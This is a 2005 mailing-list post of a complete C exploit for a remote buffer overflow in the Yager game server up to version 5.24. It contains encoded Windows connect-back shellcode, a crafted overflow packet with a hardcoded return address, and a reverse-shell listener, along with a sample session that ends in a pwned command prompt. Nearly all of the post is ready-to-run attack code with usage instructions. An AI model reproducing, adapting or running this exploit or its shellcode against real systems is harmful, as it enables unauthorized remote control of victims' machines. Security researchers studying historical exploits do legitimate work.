Date: 25 Apr 2005 23:07:11 -0000
From: <cybertronic@....net>
To: bugtraq@...urityfocus.com
Subject: Yager <= 5.24 Remote Buffer Overflow Exploit




/* 
 * 
 * Yager <= 5.24 Remote Buffer Overflow Exploit 
 * 
 * cybertronic[at]gmx[dot]net 
 * 04/25/2005 
 * 
 * send all the money to Luigi Auriemma 
 *               __              __                   
_ 
 *   _______  __/ /_  ___  _____/ /__________  ____  
(_)____ 
 *  / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ 
\/ / ___/ 
 * / /__/ /_/ / /_/ /  __/ /  / /_/ /  / /
_/ / / / / / /__ 
 * \___/\__, /_.___/\___/_/   \__/_/   \____/_/ /_/_/
\___/ 
 *     /____/ 
 * 
 * --[ exploit by : cybertronic - 
cybertronic[at]gmx[dot]net 
 * --[ select target 
 * --[ 0 [0xdeadc0de] crash server 
 * --[ 1 [0x300686bd] binkw32.dll ver: 1.5.11.0 
[ Working on WinXP Pro SP1 GER] 
 *  >> 1 
 * --[ sending handshake [UDP]...done! 
 * --[ reading server response [UDP]...done! 
 * --[ server port: 1089 
 * --[ connecting to 192.168.2.100:1089 [TCP]...done! 
 * --[ exploiting WinXP Pro SP1 GER 
 * --[ ret: 0x300686bd [ jmp esp in binkw32.dll ] 
 * --[ exploiting packet overflow... 
 * --[ sending packet...done! 
 * --[ starting reverse handler [port: 1337]...done! 
 * --[ incomming connection from:  192.168.2.100 
 * --[ b0x pwned - h4ve phun 
 * Microsoft Windows XP [Version 5.1.2600] 
 * (C) Copyright 1985-2001 Microsoft Corp. 
 * 
 * C:\Yager> 
 * 
 */ 
 
 
#include <stdio.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 
#include <netdb.h> 
 
#define PORT_UDP	34855 
 
#define RED		"\E[31m\E[1m" 
#define GREEN	"\E[32m\E[1m" 
#define YELLOW	"\E[33m\E[1m" 
#define BLUE	"\E[34m\E[1m" 
#define NORMAL	"\E[m" 
 
/* 
 * 
 * prototypes 
 * 
 */ 
 
int exploit ( int s, unsigned long xoredip, unsigned 
short xoredcbport, unsigned long ret ); 
int isip ( char *ip ); 
int send_handshake ( int s, struct sockaddr_in 
remote_addr ); 
int shell ( int s, char* tip, unsigned short cbport ); 
 
void header (); 
void start_reverse_handler ( char* argv3 ); 
 
/********************* 
 * Windows Shellcode * 
 *********************/ 
 
/* 
 * Type : connect back shellcode 
 * Length: 316 bytes 
 * CBIP : reverseshell[111] ( ^ 0x99999999 ) 
 * CBPort: reverseshell[118] ( ^ 0x9999 ) 
 * 
 */ 
 
unsigned char reverseshell[] = 
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B
\x99\xE2\xFA" 
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x62\x99\x99\x99\xC6
\xFD\x38\xA9" 
"\x99\x99\x99\x12\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91
\x12\x6E\xF3" 
"\x9D\xC0\x71\x02\x99\x99\x99\x7B\x60\xF1\xAA\xAB\x99
\x99\xF1\xEE" 
"\xEA\xAB\xC6\xCD\x66\x8F\x12\x71\xF3\x9D\xC0\x71\x1B
\x99\x99\x99" 
"\x7B\x60\x18\x75\x09\x98\x99\x99\xCD\xF1\x98\x98\x99
\x99\x66\xCF" 
"\x89\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF\x8D\x12
\x41\xF1\xE6" 
"\x99\x99\x98\xF1\x9B\x99\x9D\x4B\x12\x55\xF3\x89\xC8
\xCA\x66\xCF" 
"\x81\x1C\x59\xEC\xD3\xF1\xFA\xF4\xFD\x99\x10\xFF\xA9
\x1A\x75\xCD" 
"\x14\xA5\xBD\xF3\x8C\xC0\x32\x7B\x64\x5F\xDD\xBD\x89
\xDD\x67\xDD" 
"\xBD\xA4\x10\xC5\xBD\xD1\x10\xC5\xBD\xD5\x10\xC5\xBD
\xC9\x14\xDD" 
"\xBD\x89\xCD\xC9\xC8\xC8\xC8\xF3\x98\xC8\xC8\x66\xEF
\xA9\xC8\x66" 
"\xCF\x9D\x12\x55\xF3\x66\x66\xA8\x66\xCF\x91\xCA\x66
\xCF\x85\x66" 
"\xCF\x95\xC8\xCF\x12\xDC\xA5\x12\xCD\xB1\xE1\x9A\x4C
\xCB\x12\xEB" 
"\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96
\x27\x89\xA3" 
"\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86
\xEC\x7E\xC3" 
"\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A
\x44\x12\x9D" 
"\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x99\x66\x66\x66\x17
\xD7\x97\x75" 
"\xEB\x67\x2A\x8F\x34\x40\x9C\x57\x76\x57\x79\xF9\x52
\x74\x65\xA2" 
"\x40\x90\x6C\x34\x75\x60\x33\xF9\x7E\xE0\x5F\xE0"; 
 
/* 
 * 
 * structures 
 * 
 */ 
 
struct targets { 
	int  num; 
	unsigned long ret; 
	char name[64];   
} 
target[]= { 
	{ 0, 0xdeadc0de, "crash server" }, 
	{ 1, 0x300686bd, "binkw32.dll ver: 1.5.11.0 
[ Working on WinXP Pro SP1 GER]" } //push esp in 
binkw32.dll 
}; 
 
/* 
 * 
 * functions 
 * 
 */ 
 
int 
exploit ( int s, unsigned long xoredcbip, unsigned 
short xoredcbport, unsigned long ret ) 
{ 
	int r; 
	char buffer_pack[592]; 
	 
	printf ( "--[ exploiting WinXP Pro SP1 GER
\n" ); 
	printf ( "--[ ret: 0x%08x [ jmp esp in 
binkw32.dll ]\n", ret ); 
 
	memcpy ( &reverseshell[111], &xoredcbip, 4); 
	memcpy ( &reverseshell[118], &xoredcbport, 2); 
 
	r = ~time ( NULL ) & 0xffff; 
	printf ( "--[ exploiting packet overflow...
\n" ); 
	bzero ( &buffer_pack, sizeof 
( buffer_pack ) ); 
	memset ( buffer_pack, 0x41, 268 ); 
	strncat ( buffer_pack, ( unsigned char* ) 
&ret, 4 ); 
	strncat ( buffer_pack, "\x41\x41\x41\x41", 
4 ); //4 bytes padding 
	memcpy ( buffer_pack + 276, reverseshell, 
sizeof ( reverseshell ) - 1 ); 
	buffer_pack[0] = 0x00; 
	buffer_pack[1] = 0x00; 
	buffer_pack[2] = 0x00; 
	buffer_pack[3] = 0x00; 
	buffer_pack[4] = 0x46; //sizeof 
( buffer_pack ) - 0xa; 582d / 246h 
	buffer_pack[5] = 0x02; //sizeof 
( buffer_pack ) - 0xa; 582d / 246h 
	buffer_pack[6] =   ( r & 0x00ff ); 
	buffer_pack[7] = ( ( r & 0xff00 ) >> 8 ); 
	buffer_pack[8] = 0x00; 
	buffer_pack[9] = 0x00; 
	printf ( "--[ sending packet..." ); 
	if ( write ( s, buffer_pack, sizeof 
( buffer_pack )  ) <= 0 ) 
	{ 
		printf ( "failed!\n" ); 
		return ( 1 ); 
	} 
	printf ( "done!\n" ); 
	return ( 0 ); 
} 
 
int 
isip ( char *ip ) 
{ 
	int a, b, c, d; 
	 
	if ( !sscanf ( ip, "%d.%d.%d.%d", &a, &b, &c, 
&d ) ) 
		return ( 0 ); 
	if ( a < 1 ) 
		return ( 0 ); 
	if ( a > 255 ) 
		return 0; 
	if ( b < 0 ) 
		return 0; 
	if ( b > 255 ) 
		return 0; 
	if ( c < 0 ) 
		return 0; 
	if ( c > 255 ) 
		return 0; 
	if ( d < 0 ) 
		return 0; 
	if ( d > 255 ) 
		return 0; 
	return 1; 
} 
 
int 
send_handshake ( int s, struct sockaddr_in 
remote_addr ) 
{ 
	char* p; 
	char crap[23]; 
	char in[2048]; 
	unsigned short port; 
	 
	bzero ( &crap, sizeof ( crap ) ); 
	crap[0] = 0x59; 
	crap[1] = 0x5f; 
	crap[2] = 0x4e; 
	crap[3] = 0x45; 
	crap[4] = 0x54; 
	crap[5] = 0x5f; 
	crap[6] = 0x59; 
	crap[7] = 0x41; 
	crap[8] = 0x47; 
	crap[9] = 0x45; 
	crap[10] = 0x52; 
	crap[11] = 0x5f; 
	crap[12] = 0x43; 
	crap[13] = 0x4c; 
	crap[14] = 0x49; 
	crap[15] = 0x45; 
	crap[16] = 0x4e; 
	crap[17] = 0x54; 
	crap[18] = 0x00; 
	*( u_short* ) ( crap + 19 ) = ~time ( NULL ); 
	crap[21] = 0x00; 
	crap[22] = 0x00; 
	printf ( "--[ sending handshake [UDP]..." ); 
	if ( sendto ( s, crap, sizeof ( crap ), 0, 
( struct sockaddr* ) &remote_addr, sizeof 
( remote_addr ) ) < 0 ) 
	{ 
		printf ( "failed!\n" ); 
		return ( 1 ); 
	} 
	printf ( "done!\n" ); 
	printf ( "--[ reading server response 
[UDP]..." ); 
	bzero ( &in, sizeof ( in ) ); 
	if ( recvfrom ( s, in, sizeof ( in ) -1, 0, 
NULL, NULL ) < 0 ) 
	{ 
		printf ( "failed!\n" ); 
		return ( 1 ); 
	} 
	printf ( "done!\n" ); 
	p = in + 19; 
	port = ntohs ( *( u_short * ) p ); 
	printf ( "--[ server port: %d\n", port ); 
	return ( port ); 
} 
 
int 
shell ( int s, char* tip, unsigned short cbport ) 
{ 
	int n; 
	char buffer[2048]; 
	fd_set fd_read; 
 
	printf ( "--[" YELLOW " b" NORMAL "0" YELLOW 
"x " NORMAL "p" YELLOW "w" NORMAL "n" YELLOW "e" 
NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4" NORMAL 
"v" YELLOW "e " NORMAL "p" YELLOW "h" NORMAL "u" 
YELLOW "n" NORMAL "\n" ); 
 
	FD_ZERO ( &fd_read ); 
	FD_SET ( s, &fd_read ); 
	FD_SET ( 0, &fd_read ); 
 
	while ( 1 ) 
	{ 
		FD_SET ( s, &fd_read ); 
		FD_SET ( 0, &fd_read ); 
 
		if ( select ( s + 1, &fd_read, NULL, 
NULL, NULL ) < 0 ) 
			break; 
		if ( FD_ISSET ( s, &fd_read ) ) 
		{ 
			if ( ( n = recv ( s, buffer, 
sizeof ( buffer ), 0 ) ) < 0 ) 
			{ 
				printf ( "bye bye...
\n" ); 
				return; 
			} 
			if ( write ( 1, buffer, n ) < 
0 ) 
			{ 
				printf ( "bye bye...
\n" ); 
				return; 
			} 
		} 
		if ( FD_ISSET ( 0, &fd_read ) ) 
		{ 
			if ( ( n = read ( 0, buffer, 
sizeof ( buffer ) ) ) < 0 ) 
			{ 
				printf ( "bye bye...
\n" ); 
				return; 
			} 
			if ( send ( s, buffer, n, 0 ) 
< 0 ) 
			{ 
				printf ( "bye bye...
\n" ); 
				return; 
			} 
		} 
		usleep(10); 
	} 
} 
 
void 
header () 
{ 
	printf ( "              __              __                   
_           \n" ); 
	printf ( "  _______  __/ /_  ___  _____/ /
__________  ____  (_)____      \n" ); 
	printf ( " / ___/ / / / __ \\/ _ \\/ ___/ __/ 
___/ __ \\/ __ \\/ / ___/  \n" ); 
	printf ( "/ /__/ /_/ / /_/ /  __/ /  / /
_/ /  / /_/ / / / / / /__        \n" ); 
	printf ( "\\___/\\__, /_.___/\\___/_/   \\__/
_/   \\____/_/ /_/_/\\___/  \n" ); 
	printf ( "    /____/                                                     
\n\n" ); 
	printf ( "--[ exploit by : cybertronic - 
cybertronic[at]gmx[dot]net\n" ); 
} 
 
void 
start_reverse_handler ( char* argv3 ) 
{ 
	int s1, s2; 
	unsigned short cbport; 
	struct sockaddr_in cliaddr, servaddr; 
	socklen_t clilen = sizeof ( cliaddr ); 
 
	sscanf ( argv3, "%u", &cbport ); 
	 
	bzero ( &servaddr, sizeof ( servaddr ) ); 
	servaddr.sin_family = AF_INET; 
	servaddr.sin_addr.s_addr = htonl 
( INADDR_ANY ); 
	servaddr.sin_port = htons ( cbport ); 
 
	printf ( "--[ starting reverse handler [port: 
%u]...", cbport ); 
	if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 
0 ) ) == -1 ) 
	{ 
		printf ( "socket failed!\n" ); 
		exit ( 1 ); 
	} 
	bind ( s1, ( struct sockaddr * ) &servaddr, 
sizeof ( servaddr ) ); 
	if ( listen ( s1, 1 ) == -1 ) 
	{ 
		printf ( "listen failed!\n" ); 
		exit ( 1 ); 
	} 
	printf ( "done!\n" ); 
	if ( ( s2 = accept ( s1, ( struct sockaddr * ) 
&cliaddr, &clilen ) ) < 0 ) 
	{ 
		printf ( "accept failed!\n" ); 
		exit ( 1 ); 
	} 
	close ( s1 ); 
	printf ( "--[ incomming connection from:\t%s
\n", inet_ntoa ( cliaddr.sin_addr ) ); 
	shell ( s2, ( char* ) inet_ntoa 
( cliaddr.sin_addr ), cbport ); 
	close ( s2 ); 
} 
 
int 
main ( int argc, char* argv[] ) 
{ 
	int s1, s2, targ, i; 
	unsigned long xoredcbip; 
	unsigned short cbport, xoredcbport, port; 
	struct sockaddr_in remote_addr; 
	struct hostent* host_addr; 
 
	if ( argc != 4 ) 
	{ 
		printf ( "Usage: %s <ip> <cbip> 
<cbport>\n", argv[0] ); 
		exit ( 1 ); 
	} 
	system ( "clear" ); 
	header (); 
	if ( !isip ( argv[1] ) ) 
	{ 
		printf ( "Invalid Target IP!\n" ); 
		exit ( 1 ); 
	} 
	if ( !isip ( argv[2] ) ) 
	{ 
		printf ( "Invalid connect back IP!
\n" ); 
		exit ( 1 ); 
	} 
	printf("--[ select target\n"); 
	for ( i = 0; i < 2; i++ ) 
		printf ( "--[ %d [0x%08x] %s\n", 
target[i].num, target[i].ret, target[i].name ); 
	printf ( " >> " ); 
	scanf ( "%d", &targ ); 
	if ( targ != 0 ) 
		if ( targ != 1 ) 
		{ 
			printf ( "--[ invalid target!
\n" ); 
			exit ( 1 ); 
		} 
	if ( ( host_addr = gethostbyname ( argv[1] ) ) 
== NULL ) 
	{ 
		fprintf ( stderr, "cannot resolve \"%s
\"\n", argv[1] ); 
		exit ( 1 ); 
	} 
	remote_addr.sin_family = AF_INET; 
	remote_addr.sin_addr   = * ( ( struct in_addr 
* ) host_addr->h_addr ); 
	remote_addr.sin_port   = htons ( PORT_UDP ); 
	if ( ( s1 = socket ( AF_INET, SOCK_DGRAM, 
IPPROTO_UDP ) ) < 0 ) 
    { 
		printf ( "socket failed!\n" ); 
		exit ( 1 ); 
	} 
	if ( ( port = send_handshake ( s1, 
remote_addr ) ) == 1 ) 
	{ 
		printf ( "handshake FAILED!\n" ); 
		exit ( 1 ); 
	} 
	close ( s1 ); 
	if ( ( s2 = socket ( AF_INET, SOCK_STREAM, 
0 ) ) < 0 ) 
    { 
		printf ( "socket failed!\n" ); 
		exit ( 1 ); 
	} 
	printf ( "--[ connecting to %s:%u [TCP]...", 
argv[1], port  ); 
	remote_addr.sin_port   = htons ( port ); 
	if ( connect ( s2, ( struct sockaddr * ) 
&remote_addr, sizeof ( struct sockaddr ) ) ==  -1 ) 
	{ 
		printf ( "failed!\n" ); 
		exit ( 1 ); 
	} 
	printf ( "done!\n" ); 
	 
	xoredcbip = inet_addr ( argv[2] ) ^ ( unsigned 
long ) 0x99999999; 
	xoredcbport = htons ( atoi ( argv[3] ) ) ^ 
( unsigned short ) 0x9999; 
 
	if ( exploit ( s2, xoredcbip, xoredcbport, 
target[targ].ret ) == 1 ) 
	{ 
		printf ( "exploitation FAILED!\n" ); 
		exit ( 1 ); 
	} 
	close ( s2 ); 
	start_reverse_handler ( argv[3] ); 
} 
 

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